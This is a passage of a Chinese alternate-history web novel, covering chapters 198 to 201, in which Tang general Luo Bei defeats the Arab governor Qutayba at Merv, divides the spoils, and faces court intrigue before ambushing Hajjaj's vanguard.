在场的所有人都忍不住围到他的身边,连屈底波也不例外,他抓着自己的弟弟上下打量:“唐人有没有审讯你?有没有打你?” “没有,没有。”拉赫曼无奈地接受他们的打量:“我只有在被俘的第一天被唐人的将军拉去问了一晚上的话。他的大食话口音有点奇怪,但我们可以交谈。我只告诉他我自己的名字和职位,其余的问题一律没有回答。我本以为他会生气,但他没有。” “接下来,我就好像被他们遗忘了。我一直被关押在唐人的军营里,和其他大食人一起为他们干挖工事一类的苦力活。”拉赫曼苦笑道:“他们对待战俘比我们要好得多,至少我们还能吃到东西。” “那你是怎么逃出来的?”纳巴蒂忍不住问。 拉赫曼摇了摇头:“我没有逃,是突厥的那位王子把我放出来的。‘阙特勤’,他说我们可以这样称呼他。他愿意答应我们的盟约,与我们合兵对付唐人,要求是我们把呼罗珊和河中的贡税分他三分之一。” “他疯了,这是狮子大开口!”瓦基·塔敏米怒道:“总督,我们绝不能答应。” 屈底波抬起手止住了瓦基·塔敏米的发言: “比起丢失呼罗珊和河中,我觉得损失贡税是可以承受的代价,可问题是,他是真心来和我们结盟吗?要知道,在他的军队被我们困住的时候,是洛北带着自己的亲军前来救他,即使是见利忘义的突厥人,也不应当忘记这样的恩情。” 拉赫曼犹疑道:“我曾经问过他这个问题,但他的回答似乎和东西突厥的可汗宝座有关总之,他说他不能坐视唐军坐大,让他的汗国再无一点反抗之力。所以他愿意与我们结盟,我就是这样被放回来,作为结盟之前的友好表示的。他还和我商量了一套沟通信息的办法,足以瞒过唐人的耳目。” 屈底波摆了摆手:“这样的条件不够,你派遣使节去告诉阙特勤,如果他真的想与我们结盟,就在明晚让唐军不设巡逻队——” 傍晚时分,屈底波收到了阙特勤的亲笔信。他交给一个通晓大食话和突厥话的教士,命他给自己做翻译:“阙特勤怎么说?” “他说他不能左右唐军主帅的决定。”教士读着信件上的文字,“但他可以调走自己的部队,或者让他的部队协助我们作战。” “很好。”屈底波露出一点笑容:“现在,你替我写一封回信,就说我答应与他结盟,我会把呼罗珊和河中的贡税分他三分之一,我唯一的条件,就是他要在明晚之前调走自己的军队。” 教士恭敬地领命,带着文书离开了他发号施令的房间。屈底波命人叫来瓦基·塔敏米,让他统领精锐小队,准备在晚上夜袭唐军: “突厥人已经答应站在我们这边,你应当让你的部队用鲜血洗刷他们在毕国的耻辱。我的要求,是破坏那些给我们造成麻烦的抛石车——任何一个摧毁抛石车的士兵,都将受到我的奖赏。” 拉赫曼被叫到屈底波的房间时,瓦基·塔敏米正好退了出去。他们在道路中相逢,没有彼此致礼,就匆匆分开了。 拉赫曼走进房间里,看到他的兄长正在把他们母亲送给他的那条头巾戴在头上。这条头巾被屈底波视为护身符,只有在极度需要运气的时候,他才会拿出来佩戴: “怎么了,兄长。” “拉赫曼,我命令你提领我麾下的三千骑兵,趁着唐军的混乱,绕到他们的后方去偷袭他们。”屈底波道。 拉赫曼一时没有理解他的意图:“可是兄长,我们不是和突厥人约定了明天晚上吗?” “明天晚上?那就来不及了。阙特勤肯为了呼罗珊和河中的赋税背叛洛北,将来就会为了更大的利益背叛我们。所以我要以瓦基·塔敏米的军队去试探他——不论他是不是有心同我们结盟,今晚我们的行动都会让唐军混乱起来。” 屈底波轻轻摩挲着头巾的边角:“而你要做的,就是趁着这样的混乱干掉他们。一旦你绕到唐军后方,立刻给我打信号,我将率领军队从正面发起总攻。” 他整理好头巾,站起身,望着唐军的方向:“我听说,我们的军人们也在传言,说那位年轻的唐军主帅身上有着神明的赐福,因此永远不会失败。今天晚上,我就要他折戟在木鹿城下!” 第198章 难道这些大食人背井离乡地跟随他,就是为了背上逃兵和懦夫的骂名回到自己的故乡吗? 这一天, 是唐历景龙六年的十二月初二。到了夜晚,木鹿城的上空下起了鹅毛一样大雪。在一片风雪之中,瓦基·塔敏米率领他麾下的五千部族士兵, 率先出发, 向唐人的营地扑去。 唐军大帐中,张孝嵩掀开帐门,发现洛北正独自坐在中军大帐中的地图前,似乎在沉思什么。 洛北已经听到他的脚步声,也不回头:“孝嵩来了?坐。” “虽说是为了诱敌, 要损失两台抛石车,也有些可惜了。”张孝嵩自己拉来一只矮凳,坐在他身后, 他顺着洛北的目光望向地图,发现自家的主帅正在看一片高山和丘陵——那是波斯故地的方向。 洛北似乎在思考别的事情,一时没有接话。张孝嵩看他神情平静, 才试探性地问出了下一句:“还有, 放任阙特勤去和大食人接触,会不会太冒险了?” “阙特勤是个祆教徒,如果不出意外的话,在其兄默矩登上突厥汗位之后, 他会成为突厥汗国的大祭司。” 洛北这下才转过身,从袖中抽出数张突厥文里夹杂着大食文的纸条递给张孝嵩: “所以, 除非他打算抛国弃家,否则他绝不会和大食人结盟。” 张孝嵩对大食文字不如他那样精通,因此只是看了一眼那些字条, 就匆匆放在一边:“那明晚我也会命令部队戒备。” “这我不反对。”洛北又重新对着地图:“不过,我有一种直觉, 将军的直觉,我们不用等到明晚,就能得到这场战争的结果。” “你说什么?”张孝嵩几近大惊失色,“你是说大食人会趁夜突袭?他们不是和阙特勤约好了明晚吗?” 洛北轻轻笑了:“我不认为屈底波有这个耐心,更不认为木鹿城的城墙能再撑一日。也可能是我多虑了,不过,未雨绸缪,我已经命令阙特勤率军增援后方,孝嵩,你也去看看吧,乌勒伽和他手下的粟特人未必是大食的对手。” 瓦基·塔敏米的突袭一开始很顺利,他的士兵们为摧毁了一架大唐的巨型抛石车而欢呼雀跃。但很快,他们就发现四周的披甲唐军如幽灵般在风雪中一左一右地冒出来,为首两位将军一人黑发,一人黄发,他们各自抽出宝剑,号令部下进攻: “大食人,我们在这里等你们好久了!” 瓦基·塔敏米不认得他们,但那些唐军骑兵各个手持强弓,几乎是顷刻间就把一半的大食人射落在地——为了掩过敌人的耳目,他没有让自己的部下着重甲。 “该死的被魔鬼附身的唐人!该死的屈底波!”他大声地咒骂着唐人和不顾士兵死活的屈底波,挥舞着手中的弯刀,命令手下的士兵和唐军死战到底。 屈底波站在高塔上远远地眺望着这一切。纳巴蒂在他身后,几度想要请命援助,都被他拦住了:“现在把你的军队投进去,和让你去送死没有区别。” “那我们就坐视着瓦基·塔敏米的军队被消灭吗?”纳巴蒂道。 “不,但我们不能出兵,至少现在不能。”屈底波冷然道,他望着一片风雪茫茫的夜空,期待着他与拉赫曼约定的信号。 借着风雪的掩护,拉赫曼一路有惊无险地带着军队迂回到了唐军的后方。在那里,他与身披铠甲的阙特勤打了个照面。 “拉赫曼将军。”阙特勤面带笑意:“我记得我与贵军约定的不是今日。” 拉赫曼强作镇定:“是,但我的兄长觉得今日更合适。从,从天文学上来说,今天晚上是个有助于歼灭敌人的好日子。” “是吗?”阙特勤看了一眼天空,那里除了白茫茫的风雪别无他物:“可惜今天是个没有星星和月亮的夜晚。不过,没关系,我已经在陆续调出我的军队了。拉赫曼将军,就请你按照你和你的兄长的约定,吹响进攻的号角吧?” 拉赫曼觉得自己的背后在发冷,但他不知道这是因为寒夜的冬风,还是因为阙特勤的话。他勉强打定精神:“我不知道你在说什么。” 阙特勤笑了:“你可以不知道。我也可以把你的否认视作大食人背盟的标志——”他缓缓举起右手,从他身后,缓缓走上一排弯弓搭箭的突厥骑兵,“拉赫曼将军,选择权在你,不在我。” 拉赫曼慌忙开口安抚他:“不,伟大的突厥王子,请您宽恕我的迟疑。”他忙命令部下吹起号角。可天寒地冻,他的部下有点难以解开腰间的绳索,就在他的手碰到号角的那个瞬间,一支飞箭射在了大食骑兵的侧翼。 射出飞箭的是个年轻的粟特军人,他射完箭之后才意识到不对劲,可羽箭已经飞出,正正地扎在了大食骑兵的胸甲上。 乌勒伽打马过去,给了这不听命令的士兵一鞭子,可此时他也没有别的选择,只得挥舞马鞭,振臂高呼:“粟特人的勇士们!为我们家人报仇的时候来了!杀!” 眼见撕破了脸,阙特勤立刻放下右手,示意身后的骑兵放箭,心中却忍不住暗骂一句:“成事不足,败事有余。” 拉赫曼勉强躲过这轮箭雨,这才发现自己的军队已经在包围之中,他抽出腰间的宝剑:“正教徒们,我们宁愿战死,也不做俘虏!杀啊!” 风雪渐渐大了,高塔上的屈底波看不到唐军的阵地后方,他焦急地走了一圈又一圈,终于忍不住问一边的纳巴蒂:“什么时候了?” “快要天亮了。”纳巴蒂犹豫了片刻,又问:“总督,我们是不是应该离开木鹿城?” “什么?!”屈底波忍不住提高了声音:“你叫我离开木鹿城?” 他下意识地要否认纳巴蒂的建议,却在开口时生生停住了。 确实,他的计策没有成功。唐军的阵地没有被瓦基·塔敏米和拉赫曼率领的军队搅乱。在唐军在一步步地消灭前来夜袭的大食军队时把手中仅有的兵力压上去,显然不是个合适的选择。 屈底波此刻最明智的决定,应当是像之前一样,率领军队和百姓退出木鹿城,撤回波斯故地的腹地,更靠近伊拉克的地方,在那里等待哈贾吉的援军。 他又十分绝望而清楚地意识到,他已经不可能做到这一点了。不仅是因为木鹿城是大食人在呼罗珊唯一有驻军的地方,还因为他的军心不允许再度撤退。 难道这些大食人背井离乡地跟随他,就是为了背上逃兵和懦夫的骂名回到自己的故乡吗? “吹响号角。”屈底波停住脚步,坚定地下达了命令:“所有军队,出城列阵——我们去救援我们的兄弟。” 一声声哀泣一样的号角声在木鹿城中响起来,响彻在天地之间,已经战到力竭的拉赫曼用宝剑撑住自己的身躯,一边喘着粗气,一边大声呼喊: “正教徒们,我们的援军来了!我们的总督来了!” 洛北已经披挂整齐,一身明光铠甲在中军大帐的烛火照耀下闪闪地发着光。他走到桌前,把那些写满大食文字和突厥文字的纸条在烛火上燃成灰烬,才低头吹熄烛火,缓缓地走出了营帐。 风雪已经停了,东方的天际缓缓地泛出一点鱼肚白。阿拔思已经命令他的亲军列阵整齐,兵马齐聚在洛北的大帐之前,放眼望去,似乎无穷无尽。 这是一支沉默的军队,他们正在等待主帅的命令。 洛北翻身上马,从箭袋中取出了一支鸣镝。 他挽弓搭箭,向着木鹿城门的方向,全力一放! 鸣镝呼啸,穿过乱战之中的战场,穿过列阵的大食兵马,如流星般直直地钉在了木鹿城的城门上。 “先得此箭者,赏百金。”洛北高声喊道:“兄弟们,跟我上!” 唐军主力如同一道洪流,随着洛北的一声令下,齐齐地在他身后涌出营帐。铁甲和兵器在雪光之中闪闪发光。洛北一马当先,他的身影在晨光中显得格外高大,仿佛战神降临人间。 已经与苏禄和莫贺达干的军队纠缠半夜的瓦基·塔敏米的军队是首先面对这支唐军的大食人。看到这些身着铠甲的军人时,他们的心中涌起了一股莫名的恐惧。这些唐军的气势,让他们想起了那些关于大唐和大唐主帅的传说——这位金色眼睛的将军有神明的赐福,因而永远不会失败。 终于,瓦基·塔敏米在失神之际被一个突骑施士兵挑下了马。主将身死之后,他麾下的部族士兵立刻崩溃,他们四散而逃,甚至有些人慌不择路,撞进了列阵而来的大食军队之中。 屈底波没有时间和他们纠缠,他下令军队斩杀一切扰乱者,全速前进。他麾下的精锐部队一入战场,便爆发了比平常更坚决的战斗意志。双方主力在战场上一碰,就陷入一片刀光剑影,血肉横飞的地狱场景。 阙特勤解决完拉赫曼手中的军队,丢下张孝嵩和乌勒伽带着粟特人收拾残局,即刻打马向前增援。突厥骑兵如一把利剑直直插入大食人的侧翼,很快把他们的军阵切割开来。 “正教徒们!木鹿城是你们的家园!保护我们的家园,保护我们的妇女和孩子!”屈底波无法坐视自己的军队就这样被人分割吃掉,他一边呼喊口号,一边派出自己的卫队前去增援。 唐军原本的胜势再度被止住,战场之上,似乎人人都陷入了一片苦战之中。洛北手腕微动,横扫一槊,挑飞两个挡在他面前的大食士兵,终于忍不住望向木鹿城的方向: “朱邪烈怎么还没来!” 他的声音刚落,阙特勤已经带军杀到了他左侧:“怎么了,乌特?” “不,没什么。”洛北摇了摇头,与阙特勤并肩苦战起来。他深吸一口气,手中的长槊如同狂风暴雨般挥舞,每一次出击都带着雷霆万钧之势。 就在这时,一阵震天的塌陷之声从远方传来,如同雷鸣般震撼着每个人的心魄。 第199章 “神罚。” 那原来作为大食人指挥所的木鹿城要塞, 燃起了熊熊大火。这要塞在火光中扭曲、挣扎,仿佛一头古老的巨兽在痛苦中哀嚎。熊熊烈焰吞噬着每一寸木石,将天空染成血红色。 这座见证了无数征战与荣耀的要塞, 如今在火焰的舔舐下, 正缓缓走向它的末日。 洛北脸上露出微笑,还没有来得及说什么,阙特勤就已经振臂一呼,高声以突厥语喊道: “信奉祆教的兄弟们,这是天罚, 这是神罚!这是他们的神明抛弃了他们!杀啊!” 他的声音如同战鼓般激昂,战士们听到阙特勤的呼喊,士气大振, 他们的眼睛在火光中闪烁着狂热的光芒。他们相信,这场火是神明对他们信仰的肯定,是对敌人的终极审判。 即使是不信祆教的唐军士兵也被鼓舞起来, 他们挥舞着武器, 发出震天的战吼,向木鹿城要塞冲去。 大食人的士气也被这突然其来的变故打垮了,屈底波回头张望,脸上终于露出绝望的神色。 伟大的天神啊, 难道你真的抛弃了我吗? 他还没来得及说出什么挽回人心的话,他的头巾已被当头一箭射落。 这羽箭并不是来自唐人的方向, 而是来自大食人的方向。 “是你……” 一向被视为屈底波心腹的纳巴蒂率领他麾下的伊拉克士兵们冲杀上前,一举把这位曾经的呼罗珊总督砍翻在地。 片刻之后,他用染满鲜血的双手举起屈底波的头颅, 用大食话呼喊道: “屈底波死了,停战!停战!” 战场上的喧嚣声渐渐平息, 只有火焰的噼啪声还在继续。唐人的军队正在打扫战场。木鹿城前的这一片雪地上横七竖八地躺着无数尸首,洁白的新雪早已被鲜血染红。 洛北在大帐中接受了纳巴蒂的投降,纳巴蒂奉上了屈底波的尸首,并向他发表了一番慷慨激昂的演讲。他宣称伊拉克人不想被大食人卷进他们的战争机器之中,他们愿意与大唐这样的对手保持和平。 洛北并不在意他说的话里有多少真实性。他平静地听完纳巴蒂的话,才以大食话道: “我会把你押解回长安,那里是世界上最大最繁华的城市。至于你的士兵们,他们必须要上交自己的兵器。如果他们足够凑到为自己赎买自由的金银财宝,他们就可以自由地返回故乡,其余的人将会被留下来修缮木鹿城的城墙。” 纳巴蒂对他的话并无异议,事实上,他此刻能去的最安全的地方就是唐军的大帐。 和之前一样,洛北派出自己的亲军轮班看守他,不让他和外界有沟通的机会。 那一天夜晚,在清扫战场、亲自检视每一个士兵的伤病,复查抚恤的名单等诸多事务结束之后,洛北独自来到这位对手的棺椁面前,久久不言。 “洛将军,我们何时入木鹿城?”张孝嵩来找他询问计划,见他在那里发呆,忍不住拍一拍他的肩膀:“你看起来,好像并不高兴啊?” “我在想屈底波。”洛北回答,“从河中到吐火罗再到呼罗珊,他似乎在每一步都选择了最理性,利益最大的选择,可战争不是简单的计算题……若他不是酷烈至此,或许不会落得如此下场。” 他深深地叹息一声,这是一个对手对另外一个对手的惋惜:“前事不忘,后事之师啊。” “你怎么会觉得你和屈底波是相似的人呢?”张孝嵩望着他,忍不住笑了:“洛北,我看有时候你律己太严了些——我们此战杀伤敌人三万余人,俘虏一万两千余人。鉴于大食人在呼罗珊再无重镇,我们似乎也可以向朝廷露布报捷,说我们收复了呼罗珊,并在此重设波斯都督府。这样宏伟的胜利,都不能让你有片刻的放松么?” “算了吧,张御史。”阙特勤抱臂靠在帐篷的门框上,懒洋洋地接话:“乌特打小就是这个脾气,不然他就做不了大名鼎鼎的乌特特勤了。” 洛北知道他们都是来劝自己主持大局的,当下只能把满腹的感怀抛在一边,转过身,把这两人一左一右地带出这间营帐: “阙特勤,孝嵩,你们来得正好,我有事情要同你们商量。本来将士们苦战多日,应当允许他们在城中自由行动。但木鹿城破坏至此不说,日后我们还要依靠这座城池和西来的大食人打仗。为长久计,我要效仿太宗皇帝在辽东所为,开私库,以自己的赏赐酬谢官兵,并将木鹿城中的大食府库赏赐给他们。” 张孝嵩点了点头:“我赞成不许士兵劫掠。但你也没有必要开自己的私库,河中都护乌勒伽那里” “他不开口,难道我们还能去要吗?士兵们是等不起的。”洛北摇了摇头,“进城之前,我的赏赐就要发下去。” “你小子这样大方,那我也就只能装装样子了。”阙特勤撞了一下他的肩膀,“我的家私可不及你丰厚,我要多分些大食府库的金银。” 洛北身着重甲,自然不会被他这一撞碰到,但阙特勤这幼稚的举动终于逗得他轻轻一笑:“好吧,我可是为了你的以后着想。” 命令传到军中,欢腾声响彻一片。唐人、突厥人、粟特人庆贺一团。 河中都护乌勒伽也是聪明的人,立刻知情识趣地来向洛北请命:“当时在撒马尔罕,将军曾说,将欢迎酒封存,留到庆功宴时再喝。如今木鹿城破,大食人在呼罗珊之地再无重兵,请将军准许属下在木鹿城中设宴犒劳军队。” “好。”洛北点了点头。 为了对抗洛北的军队,屈底波把木鹿城中的大部分男性都送上了战场。木鹿城中只留下老弱妇孺和大部分“不值得被信任”的波斯奴隶。 在入城之前,洛北与张孝嵩亲自拟定了汉话、大食话和突厥话的三语告示,他又吩咐波善活: “你以波斯语写一篇布告,就说我大唐军队是吊民伐罪,不会惊扰百姓。我,大唐将军洛北——阿史那乌特在此与百姓约法三章,杀人者死,伤人者刑,盗窃者罪。另外,我需要你派你麾下懂得波斯语的士兵四处宣扬告示。” 波善活颔首,却忍不住皱眉:“可是将军,我的祖辈,波斯的末代皇帝就是死在这片土地上。这样放过他们,不是太便宜了吗?” “此事我知道。而且我知道,杀害他的呼罗珊首领在多年前已经被粟特人的军队灭族了。” 洛北看波善活脸上露出羞惭神色,知道他已经明白了自己的错误,这才轻轻一笑,拍了拍他的肩膀: “为家族复仇,确实是个好理由。但你自认是波斯的君主,就应当把这些人都视作自己的子民。既然敌人已经被灭族,你似乎不该牵连更多的无辜百姓。毕竟……你还要在这里施行统治啊。” “我明白您的意思,伯克。”波善活轻轻叹了口气,“可我不明白的是,为什么这些人自认是波斯的子民,在他们的皇帝被杀死之时,他们没有试图去拯救他呢?” 洛北笑了:“因为没有人是生来就应当统治的。作为君主,我们需要履行自己的责任……” 他的话忽而顿住。 火光熄灭的要塞之前,朱邪烈正带着他麾下的将士等待洛北的到来。他恭敬地向洛北道礼:“有赖特勤信任,我不负所托。” “雪夜沙漠,奔袭百里,不容易啊。”洛北哈哈一笑,把他扶了起来:“若无你这支奇兵,这场仗不知何时才能结束。” 乌勒伽这才反应过来:“这么说,没有祆神显灵?也没有什么天罚?” 众将领笑作一团,片刻之后,还是洛北开口回答: “是,当然没有。是我命令朱邪烈率他麾下的军队绕后突袭兵力空虚的木鹿城,并与他约定在袭击成功之后点火为号。” “点火确实是约定好的,但要塞倒塌,也不失为一种上天的显灵么?”阙特勤看向洛北: “这代表属于乌特特勤的时代到来了——” 朱邪烈当天下午就把防务交割给洛北,自己过起了悠闲的度假日子。唐人、突厥人、粟特人这些因为此战暴富的士兵们挤满了木鹿城到撒马尔罕的每一家酒肆。 木鹿城很快弥漫着烤肉、美酒和香料的香气。士兵们的笑声和歌声此起彼伏。 洛北站在城头,望着这座刚刚从战火中复苏的城市,心中却有一丝难以言说的沉重。他知道,这场胜利只是开始,而真正的挑战还在后面。 这一夜,洛北派出军法官在城中巡视,命他们严厉执法,如遇违反军令者,皆下狱待罪。 好在他一直治军甚严,阙特勤也对士兵们三令五申——除却有些喝酒闹事的醉鬼之外,木鹿城的监狱里没有添入新的居民。 四日之后,吴钩邀请洛北去废墟要塞的地下室看大食呼罗珊行省的府库。 饶是洛北与裴伷先这样的富商相熟,又素来对钱财无所在意,在见到府库中那些金银财宝时,也不免为之一叹。 仓库里一切都是金灿灿的,金银器皿、珍珠宝石堆成了小山。洛北随意一拿,便能拿到一颗巨大无比的珍珠。 “将军真的要把这些都分掉?”吴钩一边指挥自己的属下登记入账,一边暗叫可惜:“这里恐怕收集了河中诸国的许多财富,足以使军中的大部分人变成富翁。” 洛北只是淡淡一笑:“金银财宝只是过眼云烟,我从来无所在意。不过,你提醒我了,我们要从中划出重建木鹿城的经费,赎买那些久为大食人奴隶的唐人、突厥人和波斯人。” 他走到一堆小山似的金币前,拾起一枚刻着大食图案的金币,在手中轻轻一抛,金币在空中划过一道金色的弧线,落在了地上: “我们的征途,还远未结束——” 第200章 “换我们俩当中的任何一个人坐在郭相公那个位置上,也会这么做。” 赶在唐历除夕之时, 乌勒伽在木鹿城、河中诸城中都摆下盛大的酒席,一为诸将庆功,二是与民同乐, 欢庆新年。 阳光洒在木鹿城的石板街道上, 金色的光辉与城中四处飘扬的彩旗交相辉映。城中的空地上摆满了长桌,桌上堆满了各式各样的佳肴,香气四溢,令人垂涎欲滴。 其中最难得的是各种冰冻的水果。这些东西大概是从河中的粟特王公们家中的冰窖里搬出来的珍藏。夏日成熟的各色瓜果一经冰冻,显得越发甘甜多汁, 为这场盛宴增添了一抹清新。 连素来不对这些东西上心的洛北也一眼就注意到了这些水果,他笑着对乌勒伽道: “这些水果倒是难得,我知道, 粟特人的风俗,是吃饭的时候不讲话。所以你们惯常以水果佐酒,方便客人们互相谈话, 是不是?” 乌勒伽没想到他对粟特风俗熟悉至此:“是, 诚如将军所言。粟特风俗以火为贵,不喜在饭桌上谈话。不过,将军在此,我们就按照您的规矩来吧。” “好。”洛北竖起两根手指:“我在酒宴上的规矩有两条, 第一条,众人尽欢。第二条, 有人醉倒则停。” 阙特勤笑道:“哦,我倒要看看是谁在主宴上当了这个率先倒下的倒霉蛋。” 他一手揽过金瓶,微微一倾, 往自己的酒杯中倒满一杯,双手捧到洛北面前: “来, 乌特,我先敬你一杯,这次史无前例的胜利,应当属于你这位英雄的将军。” 洛北笑了,举杯向众人同祝:“不,胜利属于我们英雄的士兵和人民。” 众人齐饮这一杯,互相为贺。其后的酒席之上几乎变成了第二个战场,一众将领与地方的贵胄们争先恐后地互相敬酒,好像谁不抢着把别人灌倒,就显出自己的失败似的。 出乎意料的是,最先倒下去竟是最善酒的粟特人。 河中都护,康王乌勒伽被抬下去的时候,天色已经黑了,满场的人都醉得七七八八。 洛北也颇觉几分醉意,他站起身,独自走出营帐。木鹿城简直成了一片欢乐的海洋,到处是跳舞和欢唱的人。凛冽的冬风中带着乐声吹过来,吹得他昏昏沉沉的头脑顿时清醒过来。 张孝嵩察觉到一点不对,追在他身后跟了出来:“将军大胜如此,为何心事重重?我想……并不全是因为屈底波的缘故吧?” 洛北从衣袖中拿出一封信,递给张孝嵩: “来此赴宴之前,我收到了褚郡君的信。信中说,陛下可能想把父亲调回长安,担任禁军领袖,另外,皇帝正在谋划嫁一个宗室贵女给他。” 张孝嵩本已醉了八成,听了他这话,只得用路边的新雪洗了洗脸,强迫自己冷静下来,升官授爵,姻娅皇家,这都应当是洛北此战的奖励,也是皇帝李显表示自己对这位将军的器重: “这不是好事?我猜,陛下还会再给你一个郡王爵位,方能配得上你的不世之功。” “但父亲回朝,安西大都护之位便要悬空了。”洛北道,“我猜,朝廷应当会任命薛讷将军继任。” “这不能够吧?”张孝嵩听得一头雾水:“虽说薛讷将军出身名门,又戍边多年。但他的功绩、人望均不如你,让他压你一头,除非是郭相公疯了。” 洛北笑了:“郭相公可没有疯,他正在谋划把北庭都护府升级为北庭大都护府。以北庭大都护府管辖天山以北,以安西大都护府统辖天山以南。” 他顿一顿,道:“我家世袭的昆陵都护府和继往绝可汗的濛池都护府都在天山以北,换句话说,即使我要担任大都护的职位,也应当会是北庭大都护。” 在官场沉浮多年,张孝嵩立刻意识到了这个任命中的微妙之处:“北庭有防守突厥的重责,郭相公是要把这个担子丢给你。” 洛北深深叹了口气:“如果是这样,也就罢了,我已经把草原上最精锐的部队征来了河中,默啜自己翻不起什么风浪。关键是,现在的北庭都护郭虔瓘还与我家素来不睦。” 当年洛北的伯父阿史那俀子叛逃吐蕃之时,曾被吐蕃立为西突厥可汗,侵扰西域。当时就是郭虔瓘率军击败了他,逼得俀子最终南逃吐火罗。 洛北的父亲阿史那献担任北庭都护时,一心与民休息,不插手北庭军务,也对这位郭将军敬而远之,两人之间这才勉强保持了面子上的和平。 现在功勋卓著,屡战屡胜的洛北被安排到这个位置上,朝野必然对他寄予厚望,希望他在这个位置上打出几个辉煌的大胜仗。但郭虔瓘只会觉得洛北抢夺了他的位置,绝不会给这个“叛徒的侄子”一点好脸色。 张孝嵩想到这里,已经忍不住皱起了眉,鸟尽弓藏,兔死狗烹的事情,他曾在书上读过很多,但这样架空的办法,还是让人忍不住叹息。他极力想为朝廷找些借口:“这么大的变动,消息可靠吗?” “褚郡君可是为女皇执掌秘密的人。”洛北道:“长安城的一草一木,没有人比她更清楚的了。孝嵩,你还看不出来吗?朝廷这是要逼我撤军。” 张孝嵩深深地叹息一声,呼罗珊刚刚平定,河中都护府百废待兴,朝廷就要把洛北这根定海神针抽走——他可不相信粟特人的军队能靠自己就扛住哈贾吉的援军: “朝廷刻薄寡恩至此,实在是太不公平了。郭相公怎么也这样?” “换我们俩当中的任何一个人坐在郭相公那个位置上,也会这么做。” 洛北用平静的语气为郭元振开脱: “这些年,他提拔了很多我的亲兵旧将去其他地方任职。虽然我如他所愿地失去了那支战斗力极强的亲兵,但也让我的影响力扩散到了整个西北边疆。如今郭知运是凉州都督,哥舒亶是安西副都护……更不要说,在我麾下作战过的中级、低级军官如过江之鲫,不计其数。” /热苏打贩卖机 他顿了顿,转向张孝嵩:“倘若我要谋反叛乱,郭相公从哪抽一支大军来和我抗衡?” 张孝嵩深深叹了口气:“那你的意见是?” “我的意见是,不动。” 洛北转过身,目光望着一片暗沉的天际: “屈底波兵败身死的消息一传到伊拉克,哈贾吉就不可能坐得住了,他一定会亲自到这里来。因此,明年夏天之前,我不能班师回朝。” 张孝嵩知道洛北的话是中正之言,可他依旧在心底盼望是洛北和褚沅错了。但很快现实就击碎了他的期望。 景龙七年正月二十八,开笔不久,大唐皇帝便降下诏命,以安西大都护、西突厥十姓可汗阿史那献镇守西疆,劳苦功高,特召回朝,妻以宗室之女成纪县主。安西大都护以薛讷将军接任,以哥舒亶为其副手。 诏命中同样宣布,升北庭都护府为北庭大都护,统辖天山以北,以阿史那献之子,洛北接任,并授予他碎叶郡王的爵位。 另外褒奖参与河中、吐火罗战事的众将,督促洛北早日率兵归朝献俘。 与这封任命诏书一起到洛北手上的还有北庭副大都护郭虔瓘的一封信,信中咄咄逼人地指责洛北这位北庭大都护,久离汛地,督促他早日回庭州去“抵抗突厥”。 张孝嵩一听信件内容便在心底暗叫不好,再看帐中,阙特勤已经站了起来: “目前突厥与大唐尚且和好,我的堂弟同俄特勤还在长安的宫廷里读书呢。这位郭将军这算什么意思?” 洛北麾下的诸将领更是各个群情激奋。要知道,在这里的不少人都指望着跟在洛北身后荣华富贵,加官进爵,羞辱他们信仰的主帅,便如同在他们的脸上打了一巴掌。 追随洛北最久的阿拔思是最不服气的那个:“将军,不如让他郭虔瓘出五百人,我们出五百人,在庭州城外决一死战,我们倒要看看,哪边是没胆子的懦夫。” “不许胡扯!”洛北沉声喝道:“我和郭虔瓘将军终究是我们自己的事情,让大唐自己的军队互相厮杀,你这是叛国!” 阿拔思见他动了真怒,当下一缩头,不敢再说。 洛北环视帐中一圈——好在他积威深重,才生生把众人的这股情绪都给镇了下去,才转向张孝嵩道: “孝嵩,你替我给郭虔瓘写一封信,就说:默啜的虚实我知道,默啜手中满打满算也就十万兵马,还要看着各部不叛乱,防备着东边的契丹和奚族向我们投降。郭虔瓘身为北庭副大都护,又依靠城高池深的庭州为堡垒,要是连这都守不住,只知道向我求援,让他趁早给朝廷上书,回家抱孩子去吧。” 帐中哄笑一片,唯独张孝嵩面露难色,这样一封书信去了庭州,只怕郭虔瓘和洛北之间的关系好不了了。 “另外,我会上表弹劾他目无尊上。”洛北敲了敲他帐中的地图,“现在,你们都给我收收心,看看这张地图——哈贾吉的军队已经离我们不远了,大敌当前,把你们的火气放到战场上来!” 众将齐声应和。 这是景龙七年的二月初八,洛北早早地命河中都护乌勒伽留守木鹿城,自己率军一路西进,来到了西海以南的山地之间。 这里矗立着一个名叫“陀拔思单”的王国。当地的首领是突厥人和波斯人的后裔。洛北没有花多少时间赢得了他与戈尔甘将军的爱戴——比起波斯人或者大食人,这位与他们容貌相似,话语相近的年轻将军确实更值得他们信任。 “他们未必喜欢我。”洛北与阙特勤一同放马漫步在西海边,“不过比起我,他们更讨厌大食人罢了。” 阙特勤道:“大食人贪得无厌,恨不得把所有的好东西都掠为己有,被此地居民厌恶也是应该的。不过,那几个首领说话也太满了,什么‘等到他们一来,我们就能联手把他们赶出我们的土地。’他们手中有多少兵马?亏得你还能与他们好言相对。” “我只是对这种夸夸其谈式的炫耀不置可否。”洛北道:“信任他们的兵马,那是给咱们挖坟。我已经命苏禄和莫贺达干在哈贾吉的必经之路上设伏。” 他抬起头,望向远方:“希望大食人依旧如我们所料的那样傲慢。” 200-210 第201章 “投降?!哪个草原男儿口中能说出这个词!” 一切正如洛北所料。 哈贾吉派出的先锋大将叫做叶齐德·本·穆哈拉布, 这位比屈底波还要年轻的将军刚刚在伊拉克战争中崭露头角。他满怀期望来到河中,希望可以一雪屈底波带来的耻辱,好为自己和战士们掠得更多的财富。 他骑在一匹昂扬的黑色骏马上, 向他的部下们夸口道:“如果没有那个伊拉克人的背叛, 屈底波绝不会死在木鹿城。而我,我知道该信任什么样的人。” 他的话音未落,一声鸣镝不知从何处传来,直直射在他的军旗旗杆上。而后是雨水一样的羽箭。 箭雨之后,唐人的骑兵自两边的山坡上冲了下来, 他们如同猎鹰冲进羊群那样,顷刻间就把大食人的军阵撕扯开了数道口子。 叶齐德临危不乱,即刻命令麾下军士即刻反击——他显然把唐人的兵马当成了那些可以轻轻松松就镇压下去的伊拉克人和粟特人。 因此, 当这两支骑兵部队抽出长槊与他们近身格斗时,大食人的军队即刻变得无所适从起来。他们的宝剑应对这样的长柄武器可谓捉襟见肘。 更糟糕的是,他们是在一片地势狭窄的峡谷之间遭遇了唐军的埋伏——阵型一乱, 士兵们便开始互相推搡、拥挤, 他们跌作一团,根本无法应对唐人的冲杀。 这一场伏击自早到晚,到了夜幕降临,叶齐德才被身边的几个亲兵抢出人群。他被带到哈贾吉面前时, 